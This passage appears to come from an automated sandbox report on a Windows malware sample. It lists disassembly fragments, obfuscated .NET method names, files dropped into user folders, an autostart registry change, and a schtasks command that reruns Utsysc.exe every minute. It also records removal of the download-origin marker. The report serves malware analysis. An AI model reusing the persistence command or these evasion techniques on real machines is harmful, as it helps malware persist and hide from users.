Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00402A1F push ebx; ret	22_2_00402A22
Source: C:\Users\user\AppData\Roaming\gfiecjd	Code function: 22_2_00402A2C push ebx; ret	22_2_00402A3E
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042CC52 push dword ptr [edx+ebp+3Bh]; retf	23_3_0042CC5F
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042AAF4 pushad ; retf	23_3_0042AB03
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042B285 push F693B671h; retf	23_3_0042B28A
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042BF48 push es; ret	23_3_0042BF49
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_00427F4E push eax; retf	23_3_00427F4F
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042916F push ecx; iretd	23_3_0042917B
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042B57C push esi; ret	23_3_0042B580
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042912F pushad ; ret	23_3_00429137
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Code function: 23_3_0042ADCE push edi; iretd	23_3_0042ADD5

Source: 6.2.powershell.exe.8770000.2.raw.unpack, BsUHkypsWGBuvLH.cs	High entropy of concatenated method names: 'VYMWBhgTmEythIb', 'vQFEBYTcUOUFqmt', 'CToEiZJxvIbZmDc', 'ZXHZYNHEBrcEYMm', 'CKKGjDRMfOHgTSo', 'YstHpSuSdigsoFj', 'BuRJqPmLcVMKoFO', 'nfjeglafPUyKaaL', 'xKOmigbKYcQiLsn', 'RfTaXnvnrfnYwaE'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, mSWuDcVRcbwpWvV.cs	High entropy of concatenated method names: 'jcjKlCpOBwXPGrq', 'RwMmGIDfYzGmVIu', 'vJrHXENLOZHYroV', 'IZgCFeHzHGEefNE', 'MXowRirpirfNPNg', 'TKXVthpiwVWzvLy', 'WtVIYVpuTzxCpUu', 'xuyyzcenndCffCw', 'QbNaCDDqVRUdnRS', 'eiKIMbREAtouPwX'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, hpJnQfTykNtfLMj.cs	High entropy of concatenated method names: 'GlwGibkDeZviGIo', 'oZpTGhUhgcLNFKP', 'cDDdPfqxkIlUyTu', 'xPfEUXoRLgINwQP', 'GmZLLWpuzXtXPsn', 'ENdNZVolEsQSWWO', 'JzPUSftCTSYEPVT', 'sevPjRDCDimKqjn', 'fShyZtJAlBkdkSD', 'HHNrDTcsJulhGhV'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, JniPlOumMmudvXd.cs	High entropy of concatenated method names: 'ykGNfuucBQPueDF', 'mnaxHOBmErmLRXp', 'WxzjxHJFHRsbHjY', 'AASEUoMhZhXoOJK', 'ZpeyQsIDOjJJUxe', 'GSBZIiKPtSseGxr', 'OHlzcqIvowPnMcI', 'fGRJDltGVAqDlqw', 'XlGrQJVCZWqATiM', 'tOSWcEwtZnuNxzI'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, ARSjvsSQqEbYieC.cs	High entropy of concatenated method names: 'QYEhFvtAeUttQtz', 'TDoqQwrlzDmYggM', 'TURGUlrZAWMhOkh', 'eAsXeDnvzDlvGgx', 'dXiusMpqFeJuYYi', 'CevZaOMLolQiCBI', 'HVxZbfyyxUBCyaj', 'eDknevldZdsPZVP', 'xCczpxRLvoBTNnk', 'EQzmfqmZgRPDbcP'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, cMKsKRxcXKAbfDJ.cs	High entropy of concatenated method names: 'kehJnqtIJTNNCIq', 'QcvnhEHkhwGKzIP', 'mPhdIPWYiaxDQFb', 'CpBsBBadgkjJjSe', 'CLOBXHBXDapxFeJ', 'eFUVhXuhvWkGwPk', 'kSlvvkdkwlycfLy', 'hPmAlSVBUzBksXO', 'RjHEDiqeZgrOlzZ', 'aJeIiRcnTfQmCvp'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, tMtFhWxcgNHuzQZ.cs	High entropy of concatenated method names: 'vBPXGtOpcMPGhkv', 'ZAfVxprrstiDAhi', 'pnrsQEwrQRjMayL', 'BLIJXvlLxwvYXrj', 'APqAMmqAbCKxCKk', 'cXokwghWfwshLdX', 'JuphZnJSODuZoSE', 'uKeYmxrdDjAaIYc', 'PuxHJjvQfHYXxMx', 'WqHHUFdAPsMtBNa'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, cbjCBqVkWEkEoRV.cs	High entropy of concatenated method names: 'GetCursorPos', 'IxmAMZjJSdYPQdO', 'nOJawHVQXOstjbM', 'NVGncQGJfrbvJhb', 'VqyZljoFpkCuEMv', 'WCwkObUqgEivAdK', 'rABMUQndGPwDnYL', 'pnjXHOaOfAjUloB', 'NYVhaJTQQwWTLRK', 'aYFHhXVndyADAhu'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, GRVRRORrwJzhHEc.cs	High entropy of concatenated method names: 'OmFNlQAJAsrPczr', 'pODQLiaFjUzgYen', 'oUcyPOJcAbdjrtO', 'VsBZidvECTuKpyP', 'qBymGliSKlPTkiW', 'GEITdsMDseRFcVu', 'LuVZeKKREdoyGrk', 'sjBmTXkCrjzTfNl', 'bvYgkFwTXMRGpsb', 'ZmSvHDuzcgBwGwG'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, AEppClYhMHunVKn.cs	High entropy of concatenated method names: 'oacOZqIdPfUrQAC', 'wGLsQAcEXtHCNkI', 'XWKGcoPnEgUofdT', 'FRWlIDwhClfUupF', 'ikEscbfdLwKVsBa', 'FcnJDuQBMeDwBGl', 'xlTpqhijxfIeuaB', 'HDWEgRdLPDxHoWu', 'TluMYEHptkzDaCi', 'WQmokMNcypUHtDq'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, suQlIulfxLdngWM.cs	High entropy of concatenated method names: 'hZvklOoAqMQhzcP', 'rvWWHUDuYztDXHO', 'HANQuBpzatiRSSL', 'cJHZxuQvoYHlBlD', 'sEMvRYKtVQauYZw', 'mXRXfCZFUezvRBA', 'RWqCeCdAttyVmnd', 'QYoUNcEOXyalicA', 'DNFkcZgSaAoptMA', 'YSZeuNfxzbCvLXu'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, hBvvnBJKIlXWBXy.cs	High entropy of concatenated method names: 'lnKfXQimHspJeUf', 'pJZifmyjznrmMBI', 'VwHtWYkwmlJpRLc', 'ABwlCHZjbmrfWZf', 'hdWSkItfIUflJBS', 'MetAFOIEoWWakDM', 'xJzyHBsJwEcBnKQ', 'USpnZNalvLnyspr', 'jCvZjJLAlCnblJk', 'umLibkDSFiYdQjl'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, ufngmSGDZwfHwge.cs	High entropy of concatenated method names: 'fdDeGqZIZFjDDSK', 'thVGwPVCCaZdWyT', 'MdOCgvUGLNcLAkA', 'KRzHHLFGfQObtyJ', 'ZAAqsAlehvwWzsp', 'yWKVCDgpkvOviYT', 'PPeWxaLdpmwCOCD', 'ozMzfyQMbtiBqdZ', 'mBTCywqOXEDQkGj', 'oQxKGhhofcLqIrn'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, ykFNpNVFSsxwfKN.cs	High entropy of concatenated method names: 'NLHkQbkDziyERBE', 'uZqdXhCEMOMnbDj', 'UniIkEmAnwJmNmP', 'CNNXouJWUKUNfeK', 'vPifoaxWJgKbMYk', 'xkuxOEfAqkRXFkJ', 'VkxWjZgOJfEJOuL', 'mZCPOhajBkZOalK', 'hlpFseGyfeAxKjB', 'tmJXCnYUsgaeUIx'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, sZlykIkDrkkJaWP.cs	High entropy of concatenated method names: 'UveBzrYnfyoXSaH', 'SUWizOcXYUTIPOR', 'uCOhTBNIGxkzdJB', 'JnIwUvnjFkqrxZD', 'tUxHnwrhoGBEDJc', 'TIOLqVuqmHYBJyS', 'SyPunspsSHogPYY', 'nnfaoalOLaImheH', 'iyjLUAAokxDlcxq', 'irKSsJCWKGXVpBL'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, mNVkqEoZqiXrIXE.cs	High entropy of concatenated method names: 'TVaVnEGHRcwdcxs', 'ObOCwKgjJDExwAp', 'clCxwKWLLlunUrF', 'KsIKHIZVxPkbtaf', 'tsyWaBeJjwzZpbU', 'GctFVsdWAeXYDuz', 'RIpaqWfkFcFNHvx', 'nshdMOjdEdBgbpD', 'QtBzpMgeiiNxnlz', 'JGxaMHecAqTHsbM'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, GnKtotZwsUdWRRo.cs	High entropy of concatenated method names: 'oWGPeZqKUeuzvyN', 'HDyChpnwWoaAtXE', 'YGfyJBvdrttVkxb', 'KGoVNKFIgTDecKf', 'hTggjmhOkRuJflR', 'KJZZljxwbsbZfJJ', 'YzaAGkjFzhwWVLf', 'SJvYTbzfCYktHHp', 'SlZsPnaxrEotpKa', 'VaDEGzTPsCOknrQ'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, xIIqIMBxriRQXnp.cs	High entropy of concatenated method names: 'jhBFAxIbmcnbbft', 'KQlGMXQIeTsGbPa', 'RrLgbTVThyeyWlc', 'nQaqDrKSTKrCmtA', 'XZcvKNXfhlsAtqO', 'kjBunSZrjnnDjVQ', 'LgqKBIyzDwuIGwQ', 'ieMebHMZUIWpUYm', 'QIKJOQvcVJEUzIa', 'wdGmrNfKJWchZmk'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, LnzKEPtGGkvcIcb.cs	High entropy of concatenated method names: 'qCLzRnavlbnHxuJ', 'ImEnwVcHNuGoMpI', 'lzhNJhBoDcFQmUG', 'rpHWzhBseLSVkGl', 'hgjukPIPUYXffNo', 'bCtHdmlpWVMwjnX', 'oGnJxUlYjBoWQbi', 'PMxzgFIZpDoaSQf', 'SvNrmcZRucVlgin', 'jcyzktNadCgmftw'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, KjGZUfNGuuKHwwK.cs	High entropy of concatenated method names: 'eZBDKEReoCFRYcd', 'HQhKbvUAsTzaOEL', 'nmOZMDlaHNEdIHF', 'sbyypsJSCpmgUaj', 'ATwSUdeJSNbkhtU', 'lACboSjCFGDcOzM', 'jRxBcahGFBvryPX', 'DcbuWmeNXmguiPL', 'NTFvxTPEtlsuhqw', 'RlxdYMpnRsXzdgJ'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, VSncezFRucQcjPE.cs	High entropy of concatenated method names: 'yPuXogeURApaHzo', 'GqovXKqfQaCALYZ', 'NkdbjNvXpAYvniR', 'kEdrJyEMQuTmaud', 'ajqWPeXoqhkbvqB', 'NdHAUkwDeyVtvEL', 'GftVUHTuWRUlJqg', 'MPFcrqAakDegTSL', 'POgJEEfgypixWuw', 'UXbgnQzKNGiGvgW'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, suSFEPEfDHGCWwn.cs	High entropy of concatenated method names: 'iAVCbjGdVjtbZfz', 'KqlzulZGPhynhvh', 'wNlkZzzBFGNKcDR', 'ezOFSZybkBgzbVr', 'VTitJsWvyApDyws', 'GqrcgUZCEBtkPdV', 'sIeuMaGmXOmgxKA', 'VocUqljRIOWEdlc', 'EKOhMopDpsyjOdi', 'DiPPJMqvZnuYeYP'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, VQpdloRJILctnjH.cs	High entropy of concatenated method names: 'JctTueOjaMnaANc', 'NQvffUJUJnQhjfS', 'ovREgJRPpbnLXYd', 'ZhxzSGtIjKVOnlm', 'ypVoCGNXGWQnWfe', 'hfKLLgszignRHoe', 'cWKXplcKTygRClS', 'GUhPDQHjytOKEeg', 'AJDIsLknhCvHdZR', 'IybCtEHwlVSycWF'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, bJsEsMEAYBxWKLa.cs	High entropy of concatenated method names: 'FegCPTyTDXXRKsb', 'vtAjniymigdqpgU', 'XAJrhHfvqESiIVX', 'bSsBqPecsHzJgBK', 'PoiutTLUHqVbakn', 'aXbVUtPKQZbFnTs', 'dMWdxtmwgsxZtpK', 'sodhvPjJWypMyQT', 'SHWwAJvMtvCktbb', 'WhgARUNZvtgavsL'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, SYsdSZUYhJtMPsR.cs	High entropy of concatenated method names: 'NsFrqywfwGuphuP', 'kmdRVvavxEGZsAS', 'MrsyfbUarsCqcxp', 'eVWmfajMCiqdtfi', 'uzLjNhTqSOZHEnZ', 'lYpxorRKSBkMnpx', 'lgNPdARHziafDxm', 'JyqpPDyXMwSimbq', 'pdqeZcoOhiNQQxM', 'BwXBHprICNTAhgH'
Source: 6.2.powershell.exe.8770000.2.raw.unpack, ZLwJbWmHOiRftRt.cs	High entropy of concatenated method names: 'FWCbJglLoFAImdk', 'lNqiYzfWGGuNscw', 'SrJMyTPtYpYDGJN', 'uEnEYMUvAiAbgLf', 'kZUbvTPBkALbCHK', 'IUxQxaGFPLMlyui', 'ZZeCrqemJjdpLTa', 'wRtFlmHvCrcTtDU', 'qtfvnLvGhnhFxGf', 'PCdsAjoyPILJTyn'

Source: C:\Windows\explorer.exe	File created: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\gfiecjd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\F557.exe	File created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F557.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F324.exe	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\gfiecjd

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\gfiecjd:Zone.Identifier read attributes | delete

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\xwREqjHUEv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
